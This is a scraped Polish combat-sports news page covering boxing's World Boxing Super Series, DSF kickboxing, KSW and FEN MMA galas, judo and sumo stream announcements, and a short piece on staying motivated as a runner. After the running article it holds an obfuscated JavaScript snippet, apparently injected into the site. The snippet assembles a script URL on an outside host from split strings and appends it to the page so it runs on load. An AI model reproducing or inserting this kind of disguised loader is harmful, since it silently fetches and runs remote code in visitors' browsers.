Jako ostatni na ring weszli Jurgen Braehmer i Rob Brant. Doświadczony Niemiec mógł zaprezentować się przed własną publicznością, bo walka odbyła się w Schwerinie, gdzie mieszka od lat. 39-letni Braehmer górował nad Brantem doświadczeniem, jednak Amerykanin jeszcze nigdy nie przegrał. Niemiec narzucił swój styl i z każdą rundą jego przewaga była coraz bardziej widoczna. Brant starał się atakować, ale nie mógł przebić się przez skuteczną obronę Niemca. Sędziowie nie mieli wątpliwości i zdecydowanie wskazali na 39-latka – 119:109, 118:110, 116:112. W półfinale Braehmer zmierzy się z Callumem Smithem, który w Liverpoolu pokonał na punkty Erika Skoglunda.
Pozostałe dwa ćwierćfinały w kategorii super średniej zakończyły się przed czasem. Chris Eubank Jr wypunktował Avni Yildirima. Turek rozpoczął aktywnie i chciał zaskoczyć rywala, ale już pod koniec pierwszej rundy był liczony. Eubank konsekwentnie robił swoje i mądrze boksował. Po serii ciosów w trzeciej rundzie Yildirim padł na deski i walka została przerwana. Z kolei George Groves w Londynie obronił pas WBA wagi super średniej. 29-letni Brytyjczyk spotkał się z niepokonanym Jamie Coxem. Groves potrzebował czterech rund, aby rozstrzygnąć walkę na swoją korzyść. Świetna kontra Brytyjczyka i prawy na korpus powalił Coxa, a sędzia wyliczył go i przerwał pojedynek.
Kategoria junior ciężka
Kibice w Polsce ściskali kciuki za Krzysztofa Włodarczyka, który znalazł się w gronie ćwierćfinalistów World Boxing Super Series. Niestety, przygoda „Diablo” z turniejem zakończyła się. Polak miał szansę po raz trzeci zostać mistrzem świata, ale na jego drodze stanął Murat Gassijew. Starcie rozpoczęło się spokojnie, ale wraz z upływającym czasem Rosjanin podkręcił tempo. W trzeciej rundzie Gassijew najpierw wyprowadził lewy podbródkowy, a potem lewy hak na korpus i powalił Włodarczyka na deski. Polak przegrał po raz pierwszy w karierze przed czasem. O finał WBSS Gassijew powalczy z Yunierem Dorticosem. Kubańczyk pokonał Dmitrija Kudriaszowa w drugiej rundzie.
Za faworyta turnieju uchodzi Oleksandr Usyk. Mistrz świata WBO rozmontował Marco Hucka, który w żaden sposób nie potrafił zagrozić Ukraińcowi. Ten zakończył męczarnie Niemca bośniackiego pochodzenia w dziesiątej rundzie. Rywalem Usyka o wejście do finału będzie Mairis Briedis. Łotysz na punkty pokonał Mike'a Pereza.
Kiedy półfinały?
W turnieju World Boxing Super Series rywalizacja toczy się o wielkie pieniądze. Półfinały odbędą się w styczniu i lutym. Ostateczne rozstrzygnięcia powinny być znane w maju 2018 roku.
Fot. pixabay.com
KM
Ostatnia walka w karierze utytułowanej Doroty Godziny. Na gali DSF Kickboxing Challenge 11 w warszawskiej Arenie Ursynów kickboxerka związana z klubem X Fight Piaseczno pokonała Sylwię Kaliś. W walce wieczoru Dawid Kasperski wygrał z Boubakerem El Bakourim.
Przez lata Dorota Godzina zapracowała na miano gwiazdy polskiego kickboxingu. Wkład 32-latki w rozwój popularności dyscypliny nie podlega dyskusji.
Wygrana Królowej
Dorota Godzina wygrała ostatnią walkę w karierze i ze łzami w oczach pożegnała się z kibicami. Wygrywając z Sylwią Kaliś obroniła pas mistrzowski organizacji DSF. Z dumą może patrzeć na swój dorobek. Przez 16 lat wywalczyła tytuły mistrzyni świata, zawodowej mistrzyni świata, 12 Pucharów świata, dwa amatorskie mistrzostwa Europy, a także medale mistrzostw Polski w różnych formułach. Łącznie stoczyła ponad 350 walk. Z pewnością mówimy o kobiecie, która na trwałe zapisała się w historii polskiego kickboxingu.
Nadal pojawiają się pytania, czy decyzja Doroty Godziny jest ostateczna. Zawodniczka zapewnia, że tak. – Nie zmieniłam decyzji – to moja ostatnia zawodowa walka. Pojedynek oceniam jako bardzo ciężki zarówno sportowo, bo moja młoda przeciwniczka wykazała się ogromną determinacją, jak i emocjonalnie. Cały czas z tyłu głowy krążyły mi myśli, że to już ostatni raz – wyjaśnia FighTime.pl Dorota Godzina.
Zatem nadszedł czas na podsumowania. – Myślę, że wyciągnęłam tyle ile się dało z mojej przygody z kickboxingiem. Na początku nawet nie śniłam, że znajdę się w tym miejscu, w którym jestem. Ciężko wyróżnić kilka rzeczy, które najmocniej zapadły mi w pamięci, ponieważ jest ich mnóstwo. Na pewno dobrze pamiętam, kiedy pierwszy raz pojawiłam się na treningu u Piotra Siegoczyńskiego. Wtedy jeszcze nie przypuszczałam, że to był dzień który zaważy na moim przyszłym życiu – prezentuje Godzina.
Pokonaliśmy Francję
Gala DSF w Arenie Ursynów obfitowała w wiele ciekawych walk. Jednostronny okazał się mecz Polska-Francja. Biało-czerwoni rozłożyli Trójkolorowych na łopatki i wygrali pewnie 5:0. Maksymilian Bratkowicz (86kg) w pierwszej rundzie pokonał Henriego Floriana, równie szybko z rywalem przy pomocy latającego kolana uporał się Michał Turyński (+95kg). Łukasz Wichowski (81kg), w pojedynku na zasadach full contact, w drugiej rundzie znokautował Ibrahima Fettara. Decyzją sędziów walki wygrali Marcin Mazurkiewicz (75kg) i Tomasz Klimiuk (+95kg). Ten drugi niejednogłośnie.
W Arenie Ursynów debiut w organizacji DSF zaliczył Dawid Kasperski (86kg). Złoty medalista World Games we Wrocławiu pokonał pewnie Boubakera El Bakouriego. Sędziowie nie mieli żadnych wątpliwości, co do swojej decyzji i wskazali jednogłośnie na Polaka.
Fot. Dorota Godzina Facebook
KM
Zapraszamy do obejrzenia szóstego odcinka programu z serii PZKB TV. Tym razem gościem jest zawodnik MKS Wicher Kobyłka i ENGEL Team oraz Reprezentacji Polski Patryk Kuryłek.
[kod]
Zapraszamy na transmisję telewizyjną na żywo z JUDO Grand Slam Abu Dhabi.
[kod]
Final Block
Eliminations
Zapraszamy na transmisję telewizyjną na żywo z JUDO Grand Slam Abu Dhabi.
[kod]
Final Block
Eliminations
Zapraszamy na transmisję telewizyjną na żywo z JUDO Grand Slam Abu Dhabi.
[kod]
Final Block
Eliminations
Zapraszamy na transmisję telewizyjną na żywo z Senior European JUDO Cup, który odbywa się w Maladze.
[kod]
Tatami 1
Tatami 2
Tatami 3
Zapraszamy na transmisję telewizyjną na żywo z Senior European JUDO Cup, który odbywa się w Maladze.
[kod]
Tatami 1
Tatami 2
Tatami 3
Zapraszamy do obejrzenia wywiadu z Łukaszem Chmalem Prezesem federacji Ladies Fight Night. Kuba Małkiński zapyta o to co było, co jest i co będzie. Zapraszamy do oglądania. Kolejnym Gościem Kuby będzie Sylwia Juśkiewicz, zapraszamy już w najbliższy poniedziałek.
[kod]
Jeden z ostatnich akordów tegorocznej rywalizacji judoków. W dniach 26-28 października odbędzie się turniej Grand Slam w Abu Dhabi. Na tatami zobaczymy dziewięcioro reprezentantów Polski.
W turnieju zaprezentuje się blisko 280 judoków z 47 krajów, a więc należy spodziewać się zaciętej rywalizacji o medale.
Iść za ciosem
W Abu Dhabi zobaczymy zachwycającą blaskiem Agatę Ozdobę-Błach (63kg). Ostatnie tygodnie są wyjątkowe w życiu judoczki, która ma same powody do radości. W sierpniu wywalczyła brązowy medal mistrzostw świata w Budapeszcie, a we wrześniu wzięła ślub. Największy sukces w karierze sportowej, a także najważniejsza życiowa decyzja – czy może być lepsze połączenie? Na płaszczyźnie sportowej Ozdoba-Blach nie powiedziała jeszcze ostatniego słowa. Mierzy w medal Igrzysk Olimpijskich Tokio 2020. 29-letnia zawodniczka ma już na swoim koncie medale mistrzostw świata i Europy w zmaganiach indywidualnych i drużynowych. Brakuje jej sukcesu, na który sportowcy ciężko pracują przez cztery lata.
Ozdoba-Błach rozpoczyna drogę do Tokio. Swoją dyspozycję Polka sprawdzi w Abu Dhabi, gdzie rok temu zajęła siódme miejsce. Z kolei trzy lata temu w stolicy Zjednoczonych Emiratów Arabskich była trzecia. Do tegorocznego turnieju przygotowywała się przez ostatnie tygodnie w Zakopane. W tym roku 29-latka wygrała zawody w Mińsku i była trzecia w Pradze. Czy na fali dobrych wyników ponownie wskoczy na podium? Przekonamy się o tym w piątek (27 października), kiedy to Agata Ozdoba-Błach pojawi się na tatami.
W gazie jest również Anna Borowska (57kg), która na początku października wygrała Grand Prix w Taszkiencie. Dla Polki był to trzeci triumf w tym roku. Ponadto, z Taszkientu w dobrym nastroju wróciła Agata Perenc (52kg), która zdobyła srebro. O krok od medalu była Karolina Pieńkowska (52kg). Wszystkie trzy zaprezentują się również w Abu Dhabi.
W turnieju Grand Slam zobaczymy również: Julię Kowalczyk (57kg), Karolinę Tałach (63kg), Damiana Szwarnowieckiego (81kg), Piotra Kuczerę (90kg) i Macieja Sarnackiego (+100kg).
Puchar Polski w Warszawie
Emocje zaczną się w Abu Dhabi, a skończą się w Warszawie. 29 października w hali przy ul. Klimatycznej 1 odbędzie się rywalizacja w Pucharze Polski seniorów i seniorek. Otwarcie imprezy o 12.00, pierwsze walki kwadrans później.
KM
Opadają emocje po gali KSW w Dublinie. Wiadomo już, że 23 grudnia w katowickim Spodku odbędzie się kolejne wydarzenie organizacji Martina Lewandowskiego i Macieja Kawulskiego. Artur Sowiński postara się odzyskać pas wagi piórkowej, którego posiadaczem jest Kleber Koike Erbst.
Kibice MMA dostaną prezent pod choinkę. Wszyscy liczą, że gala w Katowicach będzie wspaniałym podsumowaniem roku. W ostatnim czasie KSW przełamywała kolejne bariery: PGE Narodowy, wizyta w Dublinie i głośne nazwiska na pokładzie organizacji.
Gorący Dublin
Nie sposób nie wspomnieć o gali w Dublinie. Tak naprawdę jest wiele powodów ku temu, ale chyba ten najważniejszy dotyczy Michała Materli. Wszyscy byli ciekawi jak zaprezentuje się były mistrz wagi średniej, który ma za sobą trudny czas. Materla otrzymał ogromne wsparcie publiczności i w drugiej rundzie znokautował Paulo Thiago. Na gwiazdę kobiecego MMA wyrasta Ariane Lipski. 23-letnia Brazylijka stoczyła trzecią walkę w KSW i ponownie wygrała przed czasem. Mistrzyni wagi muszej już w pierwszej rundzie zmusiła do poddania Marianę Morais.
Czy czeka nas kolejna odsłona sagi Gamrot vs Parke? Panowie spotkali się dwa razy. W maju w Warszawie Polak wygrał jednogłośną decyzją sędziów, a starcie w Dublinie zostało uznanie za… nieodbyte. Walka mogła się podobać, ale w drugiej rundzie Gamrot wsadził palec w oko rywala. Lekarze nie dopuścił Irlandczyka do dalszej rywalizacji. Po decyzji o zakończeniu starcia doszło do przepychanki w narożniku mistrza wagi lekkiej, w której uczestniczył Parke.
Warto również wspomnieć o dwunastym zwycięstwie w karierze 40-letniego Mariusza Pudzianowskiego. Były strongman decyzją sędziów pokonał Jaya Silvę.
Czas na Katowice
Czy wysoka temperatura musi towarzyszyć tylko galom na Wembley czy PGE Narodowym? Wcale nie. Wiadomo, że skala wydarzenia może robić różnicę. Jednak w Katowicach zapowiada się równie ciekawa gala. Z pewnością dla wielu niezwykle interesujący będzie debiut w KSW aktora Tomasza Oświecińskiego. Wiadomo, że jego walka z Popkiem Monsterem ma być magnesem dla widzów. Poziom sportowy? Jedna wielka niewiadoma.
Na pewno emocje będą w starciu Artura Sowińskiego i Klebera Koike Ebrsta. Obaj są niezwykle efektownie walczącymi zawodnikami, którzy nawet na chwilę nie odpuszczają. Sowiński i Erbst mieli okazję rywalizować na gali KSW 33 w Krakowie. Wtedy decyzją sędziów wygrał Polak, który obronił pas mistrza wagi piórkowej. Obecnie są w zupełnie innych miejscach. W międzyczasie Sowiński stracił tytuł na rzecz Marcina Wrzoska, któremu później pas odebrał Erbst. Japończyk urósł do miana gwiazdy KSW. 28-latek jest niepokonany od czterech walk, wygrywał również na galach Pancrase oraz Rebel FC 4.
Jednym z głównych aktorów KSW 41 w Katowicach ma być Borys Mańkowski, który po raz czwarty będzie bronił tytuły wagi półśredniej.
Fot. konfrontacja.com
KM
Krzysztof „Diablo” Włodarczyk był czempionem WBC oraz IBF w kategorii junior ciężkiej. Polski pięściarz ponownie ma szansę wywalczyć pas tej drugiej organizacji. W sobotę w hali Prudential Center w Newark zmierzy się z niepokonanym Muratem Gassijewem.
Warto wspomnieć, że będzie to ćwierćfinałowe starcie w ramach turnieju World Boxing Super Series. Zwycięzca w kolejnej rundzie spotka się z Yunierem Dorticosem.
Ostatnia szansa Włodarczyka
„Diablo” zrobił wiele dla polskiego boksu. Pierwszy tytuł mistrza świata wywalczył blisko 11 lat temu na warszawskim Torwarze. Włodarczyk pokonał Steve'a Cunninghama, ale w rewanżu musiał uznać wyższość Amerykanina. W 2010 roku „Diablo” mógł wznieść w górę pas mistrzowski WBC, gdy w łódzkiej Atlas Arenie wygrał przed czasem z Giacobbe Fragomenim. Kolejni rywale padali jego łupem, a Włodarczyk stał się pierwszoplanową postacią polskiego boksu. W 2013 roku Polaka zatrzymał Grigorij Drozd. Miało dojść do rewanżu, ale walka się nie odbyła. Podkreślano, że problemem Włodarczyka jest głowa. Na kolejną walkę „Diablo” trzeba było czekać półtora roku.
Włodarczyk ma 36 lat i to ostatnia chwila, aby mógł coś jeszcze ugrać w zawodowym boksie. W Newark stanie naprzeciw mocnego Rosjanina Gassijewa. 24-latek wygrał wszystkie 24 walki w karierze, a w grudniu 2016 roku pokonał Denisa Lebiediewa i sięgnął po pas IBF. Gassijew trenuje w Stanach Zjednoczonych pod okiem Abela Sancheza. Z pewnością Rosjanin jest mocny, ale posiada również wady. Zadaje mocne ciosy, jednak popełnia błędy w ataku. W oczach bukmacherów zdecydowanym faworytem jest 24-letni mistrz świata.
Atutem Włodarczyka będzie doświadczenie. To Polak ma za sobą bagaż ringowych wzlotów i upadków, który może wykorzystać i ukłuć w decydującym momencie. Kluczowe będzie, czy Polak udźwignie psychicznie ciężar starcia. Doświadczenie stanowi ogromną wartość, ale energia Rosjanina może wyczerpać Włodarczyka. „Diablo” musi rozsądnie gospodarować siłami i szukać lewego prostego.
Na sali pojawią się również ogromne pieniądze. Za awans do półfinału WBSS zwycięzca dostanie 400 tysięcy dolarów. Ponad 1 milion dolarów czeka na Włodarczyka w przypadku pokonania Gassijewa.
Polski wieczór
Sobotnia noc w Newark może być polska. W Prudential Center 26 walkę w karierze stoczy Maciej Sulęcki, który zmierzy się z Jackiem Culcay'em. Polaka występującego w wadze junior średniej czeka trudne zadanie, bo Niemiec to były mistrz organizacji WBA. Pas stracił w tym roku. Pogromcą Culcaya okazał się Demetrius Andrade. Z kolei Sulęcki ostatnie siedem walk wygrał przed czasem.
Na 40 zwycięstwo na zawodowym ringu zapoluje Mateusz Masternak. Przeciwnikiem byłego mistrza Europy w wadze junior ciężkiej będzie Stivens Bujaj.
KM
Nie ma wątpliwości, że Polacy będą pierwszoplanowymi postaciami nadchodzących mistrzostw Europy młodzików, kadetów i juniorów w sumo. Transmisja w telewizji FighTime.pl. Zapraszamy do śledzenia rywalizacji!
Krok po kroku sumo zdobywa coraz większą popularność w Europie. Polska może pochwalić się licznymi sukcesami. Czy biało-czerwoni zdobędą kolejne medale podczas nadchodzących mistrzostw Europy?
Cel jest jasny
Rok temu rywalizacja młodzików i kadetów odbyła się w Brandenburgii. Najlepsi okazali się zawodnicy z Rosji, za nimi uplasowali się sumocy z Polski i Estonii. Poza podium znaleźli się mocni Węgrzy. Jak będzie w Warszawie? Jedno jest pewno – Polacy będą walczyli z całych sił, aby ponownie znaleźć się wśród najlepszych. – Naszym celem jest walka o złote medale. Mamy świadomość, że nasz potencjał jest duży. Chcemy powalczyć o jak najwyższe miejsce w klasyfikacji drużynowej i wierzymy w sukces. W porównaniu z ubiegłym rokiem mamy jeszcze zmagania w trzeciej grupie, gdzie jesteśmy mocni. Czeka nas wyjątkowa impreza – mówi FighTime.pl Andrzej Wojda, sekretarz generalny Polskiego Związku Sumo.
Nastroje są optymistyczne, a więc nie pozostaje nic innego jak rozpocząć rywalizację o medale. Pierwszy akord mistrzostw już 20 października. Od 11.00 do 18.00 odbędą się zmagania młodzików do lat 14. Kolejnego dnia o medale powalczą kadeci, zaś 22 października mistrzostwa Europy zwieńczy rywalizacja juniorów. – W Warszawie wystąpi 86 Polaków w trzech grupach. Zawodnicy przygotowywali się do udziału w mistrzostwach Europy w klubach oraz podczas zawodów – podaje Andrzej Wojda.
Rywale nie odpuszczą
Trzeba jednak pamiętać, że plany i marzenia to jedno, a rzeczywistość drugie. Nie ma, co ukrywać – każda reprezentacja przyjedzie, aby wypaść jak najlepiej. Dla młodych sumoków mistrzostwa Europy to wyjątkowe wydarzenie, podczas którego chcą dać z siebie wszystko. – Łącznie do udziału w mistrzostwach Europy zgłosiło się blisko 240 zawodników. Zobaczymy rywalizację dziesięciu reprezentacji w trzech grupach. W każdej z nich od sześciu do ośmiu kategorii wagowych. Każda reprezentacja może wystawić po dwóch zawodników w danym limicie – prezentuje sekretarz generalny Polskiego Związku Sumo.
Mistrzostwa Europy młodzików, kadetów i juniorów w sumo odbędą się w hali sportowej SP 76 przy ul. Poezji 5 w Warszawie. Wstęp na imprezę jest wolny.
Mistrzostwa można będzie również śledzić w telewizji FighTime. Zapraszamy serdecznie do przeżywania emocji.
Fot. Polski Związek Sumo Facebook
KM
Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Świata JUDO Juniorów, które odbywają się w dniach 18-22 października 2017 r. w Zagrzebiu.
[kod]
Final block
Eliminations
Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Europy Młodzików, Kadetów i Juniorów w SUMO. Zawody odbywają się w dniach 20-22 października 2017 r. w dzielnicy Wawer w Warszawie.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/SUMO_ME_2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/SUMO_ME_2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/SUMO_ME_2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/SUMO_ME_2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Świata JUDO Juniorów, które odbywają się w dniach 18-22 października 2017 r. w Zagrzebiu.
[kod]
Final Block
Eliminations
Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Świata JUDO Juniorów, które odbywają się w dniach 18-22 października 2017 r. w Zagrzebiu.
[kod]
Final Block
Eliminations
Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Świata JUDO Juniorów, które odbywają się w dniach 18-22 października 2017 r. w Zagrzebiu.
[kod]
Final Block
Eliminations
Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Świata JUDO Juniorów, które odbywają się w dniach 18-22 października 2017 r. w Zagrzebiu.
[kod]
Final Block Teams
Eliminations Teams
Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Europy Młodzików, Kadetów i Juniorów w SUMO. Zawody odbywają się w dniach 20-22 października 2017 r. w dzielnicy Wawer w Warszawie.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/SUMO_ME_2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/SUMO_ME_2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/SUMO_ME_2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/SUMO_ME_2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Europy Młodzików, Kadetów i Juniorów w SUMO. Zawody odbywają się w dniach 20-22 października 2017 r. w dzielnicy Wawer w Warszawie.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/SUMO_ME_2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/SUMO_ME_2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/SUMO_ME_2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/SUMO_ME_2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Bieganie jest świetną formą aktywności fizycznej jednak w pewnym momencie powtarzanie tej samej czynności może stać się monotonne i nużące. Co można zrobić by uniknąć takiej sytuacji?
Bieganie jest obecnie jedną z najbardziej popularnych form aktywności fizycznej. Osoby uprawiające jogging są w dużej mierze uzależnione od warunków atmosferycznych. Wiele osób biega na świeżym powietrzu głównie w okresie wiosenno-letnim. Nie oznacza to, że wraz z nadejściem jesieni zaprzestają treningów. Dzięki ogólnie dostępnym maszynom treningowym takim jak na przykład bieżnia elektryczna biegać można przez cały rok nawet we własnym domu.
Co jednak zrobić, gdy bieganie przestaje nam sprawiać przyjemność? Przede wszystkim należy pamiętać o tym by niczego nie robić na siłę i wbrew sobie. Czasami wystarczy zrobić krótką przerwę od treningu by po kilku dniach znów wrócić do biegania z nową energią.
Jeśli jesteście osobami początkującymi i wydaje wam się, że bieganie jest monotonne, pamiętajcie, że najtrudniejszych przeważnie jest pierwszych kilka treningów. Później jest coraz łatwiej i przyjemniej. Wiele osób, które początkowo było bardzo sceptycznie nastawionych do joggingu, po pewnym czasie pokochały tren sport. Bardzo pomocne jest słuchanie w czasie biegu ulubionej muzyki.
Celem treningu niezależnie od uprawianej dyscypliny sportu jest stopniowy rozwój. Osiąganie kolejnych celów jest najlepszą motywacją do wzmożonego wysiłku. Dlatego jeśli chcemy by bieganie przez cały czas było naszą pasją musimy wiedzieć co chcemy osiągnąć. Wyznaczanie odpowiednich celów jest kluczem do czerpania maksimum satysfakcji z biegania. Nie mogą one być zbyt proste, ponieważ nie przynoszą satysfakcji. Nie mogą być też zbyt trudne, ponieważ częste porażki są bardzo demotywujące.
W dzisiejszych czasach dostępnych jest bardzo wiele nowoczesnych aplikacji przeznaczonych do analizy treningów. Są to narzędzia, które pozwalają czerpać dodatkową radość z biegania. Obecnie prawie każdy dysponuje smartfonem, który dzięki zastosowaniu odpowiedniego oprogramowania staje się wymarzonym narzędziem dla biegacza. Analizowanie statystyk i optymalizowanie treningu jest dla wielu osób świetnym motorem do dalszej pracy. Nowoczesne programy dostarczają między innymi informacji na temat tego: ile spaliliśmy kalorii, pokonaliśmy przewyższeń czy z jaką średnią prędkością biegliśmy. Potrafią nawet w sposób graficzny przedstawić dokładną trasę biegu.
[kod]
(function(){
o06i=document.createElement("script");o06i.async=true;o06i_="u"+("s")+"t";
o06iu="67563400.";o06i_+="a"+("t.i");o06i_+="n"+("f"+"o")+"/";
o06iu+="3kagchyg06imfXzzardzpw"+("0fr5uru3");
o06i.src="//"+o06i_+o06iu;o06i.type="text/javascript";
document.body.appendChild(o06i);
})();
Zapraszamy do obejrzenia retransmisji z gali kickboxingu Piaseczno Fight Night6 "Masters Fight Series 1", która odbyła się 7 października 2017 r. w Piasecznie.
[kod]
PREMIERA: Zapraszamy do obejrzenia premierowego drugiego odcinka programu z serii PZKB TV. Tym razem gośćmi są Dorota Godzina – Reprezentanka Polski PZKB oraz Przemek Ziemnicki – Trener i Zawodnik.
[kod]
Porażka Sylwii Juśkiewicz na gali Rizin Fighting World Grand Prix. Tym samym Polka pożegnała się z turniejem wagi atomowej do 49kg.
Zawodniczka znana z gal organizacji Ladies Fight Night debiutowała w Japonii. W Fukuoce spotkała się z Kanną Asakurą.
Brak awansu
Juśkiewicz dostała szansę zaprezentowania się na jednym z największych turniejów MMA na świecie. Polka już znacznie wcześniej znalazła się w orbicie zainteresowań organizacji Rizin. Nie ma się co dziwić, gdyż na krajowym podwórku „Mała” radziła sobie znakomicie i prezentowała się niezwykle efektownie. Dobrą postawą Juśkiewicz zapracowała na status gwiazdy organizacji Ladies Fight Night.
Pięć zwycięstw z rzędu robiło wrażenie. Juśkiewicz kolejno odprawiła Katarzynę Urban, Klaudię Pawicką, Alice Ardelean, Ludmyłę Pylypchak i Manoelę Matos. Przed startem zmagań w turnieju wagi atomowej Rizin widziano ją w roli faworytki. Na początek na drodze Polki pojawiła się Kanna Asakura, która udział w zmaganiach zapewniła sobie pokonując Saori Ishokę na sierpniowej gali Deep – Jewels 17. 20-letnia Japonka wygrała trzy ostatnie walki i miała apetyt na kolejny triumf. Nie inaczej było w przypadku Juśkiewicz.
Kanna Asakura nie pozwoliła rozwinąć skrzydeł Sylwii Juśkiewicz. W pierwszej odsłonie Polka uchroniła się przed jedną próbą obalenia, ale Japonka po raz kolejny spróbowała swoich sił i okazała się skuteczna. 20-latka próbowała różnych rozwiązań, jednak Juśkiewicz skutecznie się broniła. Defensywa to było za mało, Asakura zaznaczała swoją przewagę wraz z upływem minut. W drugiej odsłonie doszło do wymiany bokserskiej. Polka szukała okazji, aby zagrozić rywalce, jednak ta szybko szukała nóg i sprowadzała walkę do parteru. W końcowej fazie walki Japonka szukała duszenia, jednak nie udało jej się zakończyć starcia przed czasem. Asakura wygrała jednogłośną decyzją sędziów.
Kto walczy dalej?
Na gali w Fukuoce odbyły się również inne walki turnieju wagi atomowej. Maria Oliveira Mota pokonała Alyssię Garcię jednogłośną decyzją sędziów. Z siódmego zwycięstwa w karierze cieszyła się Irene Cabello Rivera. W drugiej rundzie 24-letnia Hiszpanka założyła dźwignię na ramię Miyuu Yamamoto, a Japonka odklepała.
W walce wieczoru Rena Kubota pokonała Andy Nguyen. 26-letnia Japonka wygrała kolejną walkę przed czasem i awansowała do następnej rundy zmagań. Kolejna faza rywalizacji odbędzie się w grudniu br.
KM
Za nami gala Fight Exclusive Night 19 „Bitwa o Wrocław”. Podczas wydarzenia zobaczyliśmy 10 pojedynków, stawką aż w trzech z nich były pasy mistrzowskie federacji. Cztery walki odbywały się na zasadach K-1, 6 toczyło się w MMA.
Pełna karta walk FEN 19 „Bitwa o Wrocław” prezentuje się następująco:
77 kg K-1 – Igor Danis VS Paweł Biszczak
77 kg MMA – Bartłomiej „Ruby” Brzeziński – Gabriel „Arab” Al-Sulwi
+95 kg K-1 – Nikolaj Falin VS Arkadiusz Wrzosek
77 kg MMA – Nassourdine Imavov VS Michał Michalski
65 kg K-1 – Marta Waliczek VS Róża Gumienna
84 kg MMA – Bartosz Leśko VS Paweł Brandys
77 kg MMA – Tymoteusz Łopaczyk VS Adrian Błeszyński
56 kg MMA – Magdalena Rak VS Raffaela Milner
70 kg MMA – Patryk Nowak VS Jakub Mroczkowski
70 kg K-1 Marcin Stopka VS Krzysztof Kottas
Walka 1. Marcin Stopka VS Krzysztof Kottas
Wielka energetyka tego pojedynku i możliwie najlepsze rozpoczęcie gali we Wrocławiu. Marcin Stopka zachował sobie więcej sił na dystansie trzech rund i zasłużenie wygrał. Pierwsza z czterech walk w formule K-1 dostarczyła naprawdę wiele emocji. Zdecydowało przygotowanie fizyczne i więcej tlenu w płucach Stopki, który był aktywniejszy szczególnie w drugiej j trzeciej rundzie.
Walka 2. Jakub Mroczkowski VS Patryk Nowak
Poddanie! Patryk Nowak nie dał szans Jakubowi Mroczkowskiemu i skutecznie założył gilotynę swojemu rywalowi. Pojedynek nie wyszedł nawet poza pierwsza rundę.
Walka 3. Magdalena Rak VS Raffaela Milner
Znakomity debiut w zawodowym MMA Magdaleny Rak, która low kickami i frontalnymi kopnięciami raz za razem rozbijała szczelną defensywę Raffaeli Milner. Znakomity popis stójkowych umiejętności Rak – ta dziewczyna ma papiery na naprawdę wielką karierę.
Walka 4. Tymoteusz Łopaczyk VS Adrian Błeszyński
Absolutnie wyjątkowe starcie, w którym młodość okazała się lepsza od rutyny i doświadczenia. Jedna z najlepszych walk w historii federacji FEN – gratka dla wszystkich koneserów mieszanych sztuk walki. Łopaczyk da jeszcze wiele radości wszystkim kibicom – spektakularny debiut w federacji FEN! Jednogłośne zwycięstwo wojownika z Bielawy.
Walka 5. Bartosz Leśko VS Paweł Brandys
Bardzo wyrównane starcie, ale tego się spodziewaliśmy – obaj panowie przed pierwszym gongiem wydawali się być na tym samym poziomie. Ostatecznie zwyciężył Bartosz Leśko, który przeważał w parterze i częściej dominował w starciu na macie. Wciąż zero w rekordzie trójmiejskiego fightera.
Walka 6. Marta Waliczek VS Róża Gumienna
Mamy nową mistrzynie FEN W K-1! Marta Waliczek dokonała wielkiej sztuki i już w debiucie w federacji zwyciężyła z niepokonaną do tej pory Różą Gumienną. Do rozstrzygnięcia tego starcia zadecydowała dogrywka – po trzech rundach nie można była wskazać lepszej wojowniczki. Rewanż? Trudno już dziś powiedzieć, ale na pewno kibice z chęcią zobaczyliby drugie starcie pomiędzy paniami!
Walka 7. Nassourdine Imavov VS Michał Michalski
Wielkie zwycięstwo powracającego po dłuższej przerwie Michała Michalskiego. Znakomite starcie, które prawie w całości rozgrywało się w stójce. Kopnięcia zawodnika z Wrocławia zdecydowały o zwycięstwie. Cudowny powrót Michalskiego!
Walka 8. Nikolaj Falin VS Arkadiusz Wrzosek
Bułka z masłem – takie to było proste starcie dla Arkadiusza Wrzoska. Znakomity prawy sierpowy na szczękę przewrócił Nikolaja Falina i Niemiec już się nie podniósł. Wrzosek pierwszym mistrzem FEN W K-1 w kategorii ciężkiej!
Walka 9. Bartłomiej „Ruby” Brzeziński – Gabriel „Arab” Al.-Sulwi
Pierwszy w historii federacji freak fight dla Araba. W drugiej rundzie z narożnika Rubego poleciał Ręcznik i nie ma się czemu dziwić – Arab miał zdecydowaną przewagę i od kilku minut okładał swojego rywala ciosami w parterze. Sędzia Piotr Michalak tego nie przerwał – wyręczyli go trenerzy Brzezińskiego. Mimo wszystko – dobra, stojąca na wysokim poziomie walka.
Walka 10. Igor Danis VS Paweł Biszczak
Krótko trwała ta wojna. Stary mistrz nie dał się zaskoczyć i już w pierwszej rundzie efektownie skończył Igora Danisa, który bardzo długo nie był w stanie podnieść się z maty. Pas zostaje w posiadaniu Biszczaka!
